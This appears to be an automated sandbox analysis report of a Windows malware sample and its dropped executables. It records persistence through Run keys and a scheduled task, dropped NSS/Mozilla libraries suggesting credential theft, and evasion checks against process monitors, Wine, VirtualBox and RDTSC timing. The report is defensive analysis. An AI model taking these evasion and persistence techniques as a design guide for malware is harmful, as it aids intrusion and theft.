Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1829376 > 1048576

Source: file.exe

Static PE information: Raw size of goeovovz is bigger than: 0x100000 < 0x1a4c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2752429002.000000006CCEF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2752429002.000000006CCEF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.ba0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;goeovovz:EW;wohpezlj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;goeovovz:EW;wohpezlj:EW;.taggant:EW;
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Unpacked PE file: 22.2.DocumentsJKEHIIJJEC.exe.f80000.0.unpack :EW;.rsrc:W;.idata :W;ssoyctxs:EW;dfcyajlh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ssoyctxs:EW;dfcyajlh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W;ssoyctxs:EW;dfcyajlh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ssoyctxs:EW;dfcyajlh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W;ssoyctxs:EW;dfcyajlh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ssoyctxs:EW;dfcyajlh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Unpacked PE file: 27.2.a929660733.exe.140000.0.unpack :EW;.rsrc :W;.idata :W; :EW;bfdmawcw:EW;pacjmtzm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;bfdmawcw:EW;pacjmtzm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAB3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CAB3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsJKEHIIJJEC.exe.0.dr	Static PE information: real checksum: 0x30f4a2 should be: 0x305dd2
Source: file.exe	Static PE information: real checksum: 0x1cc999 should be: 0x1bfdf1
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d60de should be: 0x1d3afe
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x30f4a2 should be: 0x305dd2

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: goeovovz
Source: file.exe	Static PE information: section name: wohpezlj
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: DocumentsJKEHIIJJEC.exe.0.dr	Static PE information: section name:
Source: DocumentsJKEHIIJJEC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJKEHIIJJEC.exe.0.dr	Static PE information: section name: ssoyctxs
Source: DocumentsJKEHIIJJEC.exe.0.dr	Static PE information: section name: dfcyajlh
Source: DocumentsJKEHIIJJEC.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: bfdmawcw
Source: random[1].exe.0.dr	Static PE information: section name: pacjmtzm
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name: ssoyctxs
Source: skotes.exe.22.dr	Static PE information: section name: dfcyajlh
Source: skotes.exe.22.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEB536 push ecx; ret	0_2_6CAEB549
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00F9D91C push ecx; ret	22_2_00F9D92F
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Code function: 22_2_00F91359 push es; ret	22_2_00F9135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CBD91C push ecx; ret	23_2_00CBD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF03D7 push ss; retf 0000h	25_2_00CF03DA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF04D7 push ds; retf 0000h	25_2_00CF04DA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF48EF push eax; iretd	25_2_00CF4906
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF48E8 push eax; iretd	25_2_00CF48EE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF48E0 push eax; iretd	25_2_00CF48E6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF49C0 push ecx; iretd	25_2_00CF49C6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF49D0 push ecx; iretd	25_2_00CF49D6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF49E0 push ecx; iretd	25_2_00CF49E6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF49A9 push eax; iretd	25_2_00CF49AE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF49A0 push eax; iretd	25_2_00CF49A6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF49B8 push eax; iretd	25_2_00CF49BE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF49B1 push eax; iretd	25_2_00CF49B6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4958 push eax; iretd	25_2_00CF495E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4979 push eax; iretd	25_2_00CF499E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4910 push eax; iretd	25_2_00CF4916
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4AC7 push edx; iretd	25_2_00CF4ADE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4AE8 push edx; iretd	25_2_00CF4AEE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4AE0 push edx; iretd	25_2_00CF4AE6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4AFF push ebx; iretd	25_2_00CF4B06
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4AF8 push edx; iretd	25_2_00CF4AFE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4AF0 push edx; iretd	25_2_00CF4AF6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4AB0 push edx; iretd	25_2_00CF4AC6
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4A58 push ecx; iretd	25_2_00CF4A5E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4A50 push ecx; iretd	25_2_00CF4A56
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4A68 push edx; iretd	25_2_00CF4A6E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4A78 push edx; iretd	25_2_00CF4A7E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00CF4A18 push ecx; iretd	25_2_00CF4A26

Source: file.exe	Static PE information: section name: goeovovz entropy: 7.953917789562964
Source: DocumentsJKEHIIJJEC.exe.0.dr	Static PE information: section name: entropy: 7.19758835139926
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.9821621654441595
Source: random[1].exe.0.dr	Static PE information: section name: bfdmawcw entropy: 7.9545737319488055
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.19758835139926

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJKEHIIJJEC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsJKEHIIJJEC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJKEHIIJJEC.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJKEHIIJJEC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsJKEHIIJJEC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a929660733.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a929660733.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB155F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CB155F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsJKEHIIJJEC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF04A2 second address: DF04B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jl 00007F0A0CDE9D16h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFD82 second address: DEFD87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7AC32 second address: F7AC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F0A0CDE9D16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7AC41 second address: F7AC45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F659CB second address: F659D1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F659D1 second address: F659D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F659D7 second address: F659DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79EDB second address: F79EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79EE1 second address: F79F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F0A0CDE9D23h 0x0000000d push eax 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007F0A0CDE9D16h 0x0000001a jmp 00007F0A0CDE9D26h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F79F1F second address: F79F33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F0A0CDBB9B6h 0x00000014 rdtsc
